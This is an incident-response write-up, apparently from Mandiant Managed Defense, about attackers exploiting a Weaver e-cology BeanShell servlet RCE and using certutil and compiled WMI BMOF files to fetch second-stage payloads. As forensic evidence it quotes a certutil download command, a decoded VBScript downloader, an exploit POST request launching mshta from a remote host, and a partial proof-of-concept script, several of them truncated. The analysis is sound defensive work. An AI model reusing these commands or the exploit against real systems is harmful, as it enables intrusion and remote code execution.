CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that Mandiant
Managed Defense thwarted involving the rapid weaponization of a
recently disclosed vulnerability combined with the creative use of WMI
compiled “.bmf” files and CertUtil for
obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in
security, chiefly: attackers work fast – faster than many security
teams can react.
 Additionally, patching complex software
environments while keeping the business operational makes it difficult
to keep pace with attackers exploiting vulnerabilities, especially
when these truths are coupled with rapid exploitation with innovative
obfuscation methods utilizing the operating systems own feature set
against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye
Managed Defense
identified suspicious file write activity on a
system at a European manufacturing client and began our initial
investigation by collecting the available volatile and non-volatile
data from the affected host. Once evidence collection had completed,
we began parsing the forensic data using the parsers available in FireEye’s free Redline
forensic analysis tool.
Analysis of the logs quickly revealed
that there were commands executed on the host which were consistent
with interactive reconnaissance activity. Typically, once a host has
successfully been compromised, attackers are presented with a command
shell window which allows them to run commands on the host. These
commands can consist of reconnaissance activity which expose useful
information about the host to the attacker. The following is a snippet
of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the
aforementioned listed processes was: “Weaverjdk_newbinjavaw.exe”. 


Once the attackers gained access to the web server by exploiting an
unknown vulnerability, they attempted to further pivot control within
the system through the use of Windows Management Instrumentation
(WMI). They leveraged WMI’s execution process, which takes Managed
Object Format (MOF) files as input and compiles them into the WMI
buffer, resulting in a compiled “.bmf” output file. The attackers
wrote their second-stage payload and compiled it with WMI. Finally,
they uploaded the compiled “.bmf” file to their web server and
modified the file to masquerade as a “.rar” file .

Upon further assessment of the activity, we observed that after the
threat actors gained access to the affected web server, they utilized
a Windows native binary called “Certutil.exe”
to download malicious code from a remote resource
. Our
investigation revealed that an instance of the process “Certutil.exe”
was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:windowstempl.rar




Display or delete URL cache entries


embedded ASN.1 elements, and save to files




(Source: Microsoft
certutil page

FireEye has observed this methodology executed numerous times by
both ethical hackers and unauthorized threat actors in addition to
Certutil’s benign use as a part of legitimate business applications
and operations.

Shortly after the second-stage payload was downloaded, we observed
several file write events related to `l.rar`
(MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe
cmd.exe cmd /c del C:Windowstempl.rar

The aforementioned commands utilize Window’s “cmd.exe”
interpreter to run “mofcomp.exe” on the newly obtained
“l.rar”. This process is designed to parse a file containing
MOF statements and add any class and class instances defined
in the file to the WMI repository
, and subsequently delete the
aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first
proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher
Glyer and Devon Kerr in their “There’s Something about WMI” talk

(Figure 1).

Figure 1: Proposed use of MOF files for
red and blue teams

We obtained the file “l.rar” for further analysis and
observed that the file header began with “FOMB”. This file
header when conveniently flipped is “BMOF”, as in Binary
Managed Object Format. With this information in hand we began
searching for methods to reverse the compiled binary. Upon analyzing
the file in FireEye’s sandbox environment, we were able to obtain the
following information from the BMOF file:

On Error
Resume Next:execmydler():Function execmydler():Set
t(b,”,”,-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF
script and compiled it into a BMOF file, then ran the malicious BMOF
file on the victim machine via WMI. The aforementioned code attempts
to download a second-stage payload from
“hxxp[://[DOMAIN]/d/dl[.]asp” when executed. Since the WMI
buffer is involved, this attack vector opens the door to gaining a
persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled
that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority
of the investigation was conducted around this timeframe. Analysis of
Endpoint Security
ring buffer events uncovered reconnaissance
commands executed on the system including whoami, ipconfig and the
downloading of additional binaries. However, further analysis of the
system did not uncover an initial exploit within the same timeframe of
these commands. Analysis of the HTTP logs also did not uncover the
initial payload. Within the HTTP logs we identified suspicious HTTP
POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a
busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

‘-` 2886000`` -` -`
“[23/Sep/2019:10:10:10 +0800]”` “POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1″`  “-“‘

FireEye Endpoint Security has the ability to collect a memory image
and this was completed on the same day as the initial activity. As
memory is volatile, the earlier it’s collected in an investigation the
more likely you are to uncover additional evidence. We used Volatility
to analyze the memory image looking for any suspicious event log
entries, process creation, registry entries, etc. While reviewing the
memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes
was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84
2019-06-28 09:32:53 UTC+0000 
… java.exe            2420  
2388      0 —— 2019-06-28 09:32:53 UTC+0000 
javaw.exe          4804   2420     36    530 2019-06-28 09:33:19
….. javaw.exe         5976   4804    177   4925
2019-06-28 09:33:21 UTC+0000 
…… mshta.exe       17768  
5976     12    320 2019-09-20 14:20:00 UTC+0000 
mshta.exe        9356   5976     12    306 2019-09-20 11:12:04
…… mshta.exe       22416   5976     12    310
2019-09-20 11:31:14 UTC+0000 
…… mshta.exe       23240  
5976     13    318 2019-09-20 14:20:01 UTC+0000 
mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context.
Unfortunately, the initially-acquired forensic evidence, including the
endpoint triage package and the memory image, did not provide a
conclusive filesystem narrative around that date. At this stage the
client had pulled the system offline and began remediation steps,
however we still didn’t know exactly which exploit was leveraged to
gain a foothold on this system. We knew the process path which
indicated it was httpd.exe being leveraged to run malicious javaw.exe
commands. This lined up with our HTTP log analysis, yet we didn’t have
the payload.

String it to Weaver

Anybody who’s worked in incident response long enough knows that
when parsing the data has failed to uncover the evidence you’re
looking for, the last thing you can try is sifting through the raw
bytes and strings of a file. Volatility has a handy
to map the string offset to the corresponding process and
virtual address. Once this is complete grep searching for specific
keywords and filtering through the strings identified a number of HTTP
POST requests sitting in unallocated space, expanding our grep using
it’s context parameter uncovered interesting HTTP POST requests and
their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1

Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14;
rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 134
.(“ex”+”ec(“mshta hxxp://
www[DOMAIN]/index[.]hta”)”);&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test;
JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was
exactly what the attacker was executing and the URI confirmed the
process path we had identified from the memory image. It was making a
request to BshServlet. It was unclear if
this vulnerability was known, as there was no CVE associated with the
software. Open source research identified a number of Chinese blog
sites discussing a newly identified RCE vulnerability with Weaver
e-cology OA system. The vulnerability lies within
the BeanShell component of the OA system. The attacker could send a
specially crafted payload to ’weaver/bsh.servlet.BshServlet` in order to
launch arbitrary commands. The following POC script was discovered on
one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   ‘User-Agent’: ‘Mozilla/5.0
(Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like
Gecko) Version/12.0 Safari/1200.1.25’, 
   ‘Accept-Language’: ‘zh-CN,zh;q=0.9’, 


def exploit(url,cmd): 

if __name__ == ‘__main__’: 

The script contained some hardcoded HTTP header values including
user-agent, accepted data types, accepted languages and content-type.
The script builds an HTTP request and allows the user to specify the
command they would like to run; it would then append the URL and
command to the crafted exploit to execute. In our instance the
attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan
or Censys we can quickly identify systems running the Weaver
e-cology platform. Using this technique, we identified 28 internet
facing system that are potentially vulnerable.


This isn’t a new story; Managed Defense responds to cases like this
every week. The usage of FOMB was particularly interesting in this
instance and it’s the first case in Managed Defense we’ve seen this
technique being leveraged in an attempt to bypass defenses. When
leveraged correctly, compiled “.bmf” files can be effectively used to
sneak into an environment undetected and gain a foothold via
persistence in the WMI buffer.

There are many procedural and technical controls that could help
prevent a system being compromised. Most larger enterprises are
complex and identifying all publicly exposed software and services can
be challenging. We’ve worked on many cases where system administrators
didn’t believe their system was directly accessible from the internet
only to later confirm it was. Prioritizing particular patches can be
difficult and if you don’t think a RCE vulnerability is exposed then
the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed
Defense we assume these controls are imperfect and attackers will find
a way to bypass them. Deploying strong monitoring capabilities
combined with a team of analysts hunting through lower fidelity
signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about Mandiant
Managed Defense here
. Catch an on-demand recap on this and the
Top 5
Managed Defense attacks
this year.

Weaver Build Timeline

  • 2019-09-20: Weaver
    Patch released
  • 2019-09-20: Exploit observed in
    Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China


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